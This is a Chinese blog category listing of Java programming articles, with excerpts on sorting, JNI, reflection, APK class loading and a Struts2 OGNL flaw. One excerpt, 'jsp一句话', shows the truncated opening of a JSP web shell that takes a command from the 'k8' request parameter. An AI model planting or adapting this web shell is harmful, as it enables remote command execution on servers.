java
文章平均质量分 60
yunshouhu
爱Java,更爱Android,学VC,搞c/c++的我。专注移动安全,游戏安全,逆向安全!十年戎马成神路,君临天下风雷动! https://github.com/yunshouhu
展开
-
Java异或加解密
/* * Copyright (C) 2017, Megatron King * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/.原创 2021-09-23 10:49:24 · 1007 阅读 · 0 评论 -
动态规划算法
读完本文,你可以去力扣拿下如下题目:509.斐波那契数322.零钱兑换-----------这篇文章是我们号半年前一篇 200 多赞赏的成名之作「动态规划详解」的进阶版。由于账号迁移的原因,旧文无法被搜索到,所以我润色了本文,并添加了更多干货内容,希望本文成为解决动态规划的一部「指导方针」。动态规划问题(Dynamic Programming)应该是很多读者头疼的,不过这类问题也是最具有技巧性,最有意思的。本书使用了整整一个章节专门来写这个算法,动态规划的重要性也可见一斑。刷题刷多了就会发现,算转载 2021-06-08 17:39:05 · 343 阅读 · 0 评论 -
c++&java之快速排序算法
#include <iostream>#include <time.h>using namespace std;//https://baike.baidu.com/item/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95void Qsort(int arr[], int low, int high){ if (high <= low) return; int i = low; in.原创 2021-05-10 15:51:31 · 186 阅读 · 0 评论 -
使用tomcat搭建HTTP文件下载服务器
1. 假设需要下载的文件目录是D:\download(注意这里写了个1,跟后面的名称区分)2. 设置 tomcat 的虚拟目录。在 {tomcat home}\conf\Catalina\localhost 下建一个任意名称(如download.xml),内容如下:<?xml version="1.0" encoding="UTF-8"?><Context path="/download" reloadable="true" docBase="D:\download" cros原创 2021-05-06 18:24:16 · 443 阅读 · 0 评论 -
java-xx参数介绍及调优总结
功能开关:参数 默认值或限制 说明 参数 默认值 功能 -XX:-AllowUserSignalHandlers 限于Linux和Solaris,默认不启用 允许为java进程安装信号处理器,信号处理参见类:sun.misc.Signal, sun.misc.SignalHandler -XX:+DisableExplicitGC 默认启用...转载 2019-12-11 16:49:39 · 5663 阅读 · 1 评论 -
数据结构学习之冒泡排序Java实现
/** *冒泡排序 * @author 2012年10月26日 * */public class MaoPaoSort { public static void main(String[] args) { int[] datas={5,4,6,3,89,54,21,64,7,164,2}; show(datas); datas=sort(datas)原创 2012-10-26 17:20:18 · 857 阅读 · 0 评论 -
java学习之反射机制
import java.lang.reflect.Field;import java.lang.reflect.Method;/** * java 反射机制学习 * 542335496@qq.com * 2012-11-6 * @author Administrator * */class MyClass { private String myName原创 2012-11-06 20:19:13 · 686 阅读 · 0 评论 -
数学求解之金额转换
金额转换,阿拉伯数字的金额转换成中国传统的形式如:(¥1011)->(一千零一拾一元整)输出。import java.text.NumberFormat;import java.util.HashMap;public class SimpleMoneyFormat { public static final String EMPTY = ""; public stati原创 2012-11-14 23:52:21 · 830 阅读 · 0 评论 -
数学求解之遗传算法
import java.util.*; public class Tsp { private String cityName[]={"北京","上海","天津","重庆","哈尔滨","长春","沈阳","呼和浩特","石家庄","太原","济南","郑州","西安","兰州","银川","西宁","乌鲁木齐","合肥","南京","杭州","长沙","南昌","武汉原创 2012-11-15 01:20:45 · 1971 阅读 · 0 评论 -
数学求解之截取字符串
编写一个截取字符串的函数,输入为一个字符串和字节数,输出为按字节截取的字符串。 但是要保证汉字不被截半个,如"我ABC"4,应该截为"我AB",输入"我ABC汉DEF",6,应该输出为"我ABC"而不是"我ABC+汉的半个"。 public class Split { public static boolean isLetter(char c) { int k = 0X原创 2012-11-14 23:29:35 · 726 阅读 · 0 评论 -
Java实现快速排序
/** * @项目名称 :test * @文件名称 :QuickSort.java * @所在包 : * @功能描述 : * 快速排序Java实现 * @创建者 :云守护 542335496@qq.com * @创建日期 :Nov 14, 2012 * @修改记录 : */public class QuickSort { /** 主方法 */ pub原创 2012-11-14 12:55:22 · 721 阅读 · 0 评论 -
java API学习实例
import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.File;import java.io.FileInputStream;import java.原创 2012-11-28 21:37:34 · 4591 阅读 · 0 评论 -
java 快速排序
public class QuickSort { /** * 快速排序 * * @param strDate * @param left * @param right */ public void quickSort(String[] strDate, int left, int right) { String middle, tempDate; int i,原创 2012-11-28 23:33:09 · 771 阅读 · 0 评论 -
java实现螺旋矩阵
import java.util.Scanner;/*** @文件名称 :CycleMatrix.java* @功能描述 :*java实现螺旋矩阵* @创建者 :云守护 542335496@qq.com */public class SpiralMatrix { static int length; static int[][] snake; sta原创 2012-11-16 00:27:38 · 3497 阅读 · 0 评论 -
netbeans使用技巧
快速修正 Ctrl+shift+i 内容辅助: Ctrl+\设置自动提示: Tools ------>options,然后找到Editor--->Code Completion,在下面的language下面选择Java,默认的Auto Popup Triggers for Java下面是只有一个“.”的,现在在这个后面加上a-z这26个字母(也就是.abcdefghijklmnopqr原创 2013-04-03 10:15:35 · 798 阅读 · 0 评论 -
java 批量重命名工具类
/* * To change this template, choose Tools | Templates * and open the template in the editor. */package com.jiepu.downloader.example;import java.io.File;/** * * @author 批量重命名 */public cla原创 2013-04-08 13:28:52 · 899 阅读 · 0 评论 -
Http头 Range、Content-Range
HTTP头中一般断点下载时才用到Range和Content-Range实体头,Range用户请求头中,指定第一个字节的位置和最后一个字节的位置,如(Range:200-300)Content-Range用于响应头请求下载整个文件: ***********************************GET /test.rar HTTP/1.1 Connection转载 2013-04-16 11:36:52 · 937 阅读 · 0 评论 -
JNI字符转换中文乱码的处理方法
一.相关概念java内部是使用16bit的unicode编码(UTF-16)来表示字符串的,无论中文英文都是2字节; jni内部是使用UTF-8编码来表示字符串的,UTF-8是变长编码的unicode,一般ascii字符是1字节,中文是3字节; c/c++使用的是原始数据,ascii就是一个字节了,中文一般是GB2312编码,用两个字节来表示一个汉字。明确了概念,操作就比较清楚了。下面转载 2013-05-21 14:52:51 · 1393 阅读 · 0 评论 -
C++调用java的方法
// env.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include #include #include "jni.h"using namespace std;#pragma comment(lib,"jvm.lib")int main(int argc, char* argv[]){ int res; J原创 2013-05-21 15:43:08 · 682 阅读 · 0 评论 -
java jni与c++互相调用
1、student.h/* DO NOT EDIT THIS FILE - it is machine generated */#include "jni.h"/* Header for class cn_yws_jni_Main */#ifndef _Included_student#define _Included_student#ifdef __cplusplusexter原创 2013-05-21 17:06:24 · 1786 阅读 · 0 评论 -
Access restriction
在Eclipse中编写Java代码时,用到了BASE64Decoder,import sun.misc.BASE64Decoder;可是Eclipse提示: Access restriction : The type BASE64Decoder is not accessible due to restriction on required library C:\Program files原创 2013-06-14 11:58:22 · 1195 阅读 · 0 评论 -
struts2漏洞原理及解决办法
1、原理Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:?user.address.city=Bishkek&user['favoriteDrink']=kumys ONGL将它转换为:acti原创 2013-07-22 14:30:45 · 688 阅读 · 0 评论 -
Java 用Look And Feel打造绚丽的界面外观!
虽然我们知道,一个桌面应用程序的好坏,和它的性能,功能有着很大关系, 然而,对于大多数坐在电脑前的用户而言,他们的标准往往是: 绚丽的外观MVC设计下的的SWING自然没有忽视这一点,通过对UIManager的设置,我们可以很容易的改变应用程序的外观,也就是LOOK AND FEEL一.如何设置lookand feel: 改变外观,似乎是一个很麻烦的事情,幸运的是在swing里,我们原创 2013-08-01 13:32:59 · 4510 阅读 · 0 评论 -
Android zip文件压缩解压缩
package com.android.systemu.util;import java.io.*;import java.util.ArrayList;import java.util.Collection;import java.util.Enumeration;import java.util.List;import java.util.zip.ZipEntry;impor转载 2013-08-19 11:33:10 · 958 阅读 · 1 评论 -
java工具类之按对象中某属性排序
import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Collections;import java.util.Comparat转载 2013-10-30 16:13:12 · 3457 阅读 · 0 评论 -
java实现http服务器
1、使用socket简单实现http协议://参考链接:http://blog.csdn.net/sunxing007/article/details/4305956import java.io.*;import java.net.*;/** * MyHttpServer 实现一个简单的HTTP服务器端,可以获取用户提交的内容 * 并给用户一个response * 因为时间的关原创 2013-11-16 10:41:43 · 16198 阅读 · 0 评论 -
java面试点
一、HashMap与HashTable 的区别1、HashMap是非同步的,而HashTable是同步的,HashMap效率上比HashTable要高。2、HashMap去掉了HashTable 的contains方法,但是加上了containsValue()和containsKey()方法。3、HashMap允许空键值,而HashTable不允许。原创 2013-11-18 22:05:17 · 953 阅读 · 0 评论 -
java 插件程序开发框架-jpf
一、jpfhttp://jpf.sourceforge.net/JPF provides a runtime engine that dynamically discovers and loads "plug-ins". A plug-in is a structured component that describes itself to JPF using a "manifest".原创 2013-11-22 10:17:55 · 4479 阅读 · 0 评论 -
Android技巧和IDE使用技巧
1、动态加载: DexClassLoader dcl = new DexClassLoader( "/sdcard/dex.apk", "/sdcard/dexout/", null, super.getClassLoader());Class c = dcl.loadClass("com.package.MyClass" );Object myObj = c.newIn...原创 2013-05-28 16:55:11 · 1106 阅读 · 0 评论 -
jni技巧
1、 方法签名可以通过 javap -s 查看。原创 2013-05-21 16:20:04 · 701 阅读 · 0 评论 -
java 反射加载apk
1、java 反射加载apkString path=Environment.getExternalStorageDirectory().getAbsolutePath()+"/"; String fileName="loadB.apk"; DexClassLoader classLoader=new DexClassLoader(path+fileName, path, n原创 2013-12-30 22:04:36 · 1012 阅读 · 0 评论 -
java 遍历目录,操作文件 tree命令
用tree命令显示目录、文件结构 有时候我们想了解一个文件夹或者驱动器根目录下的所有文件,并希望它以资源管理器的树形视图方式显示文件结构。可以在“命令提示符”窗口中输入“tree D:\Inetpub”命令(这里的D:\Inetpub可以根据需要改成要你查阅的文件路径),就会看到D:\Inetpub下的所有文件夹以树形结构清楚地显示出来。此外,你还可以加入以下参数以增强“tree”命令:原创 2014-01-07 11:25:32 · 2997 阅读 · 0 评论 -
java 反射技术
package cn.yws.reflect;import java.lang.reflect.Field;import java.lang.reflect.Method;/** * java反射技术 * @author Administrator * */public class Test { public static void main(String[] args) t原创 2014-01-09 15:15:11 · 735 阅读 · 0 评论 -
Java路径中的空格问题
Java路径中的空格问题1, TestURL().class.getResource("").getPath()或TestURL().class.getResource("").getFile()获得的路径,不能被FileReader()和FileWriter()直接应用。 原因是URL对空格,特殊字符(%,#,[]等)和中文进行了编码处理。 例如:空格变为%20。 有解决方转载 2014-01-13 11:55:12 · 1247 阅读 · 0 评论 -
java遍历hashMap、hashSet、Hashtable
import java.io.File;import java.io.FileOutputStream;import java.util.Enumeration;import java.util.HashMap;import java.util.HashSet;import java.util.Hashtable;import java.util.Iterator;import ja原创 2014-03-03 15:09:47 · 1985 阅读 · 0 评论 -
Java 获取和判断文件头信息
import java.io.FileInputStream;import java.io.IOException;import java.util.HashMap;/** * 获取和判断文件头信息 * * @author Sud * */public class GetTypeByHead { // 缓存文件头信息-文件头信息 public static final转载 2014-03-14 12:14:08 · 19564 阅读 · 5 评论 -
java 反射技术 打印类成员变量的值(查看一个对象的成员数据时十分方便)
package com.google.androidserver.servlet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.util.AbstractMap;import java.util.Array原创 2013-10-23 12:13:34 · 6288 阅读 · 1 评论 -
jsp一句话
<% try { response.setHeader("content-type","text/html;charset=UTF-8"); String cmd = request.getParameter("k8"); String path = application.getRealPath(request.getRequestURI()); String dir = ne原创 2014-03-25 17:15:27 · 9852 阅读 · 0 评论 -
Java递归和非递归遍历目录
package file;import java.io.File;import java.util.ArrayList;import java.util.LinkedList;import java.util.List;/** * Java递归和非递归遍历目录 * @author Administrator * */public class FileSystem { pu原创 2014-05-16 15:27:32 · 2714 阅读 · 0 评论 -
jni技巧
javap -s com.example.ubuntuforandroid.JniExec //获取函数签名javah -jni com.example.ubuntuforandroid.JniExec //获取c头文件声明原创 2014-05-10 20:26:19 · 767 阅读 · 0 评论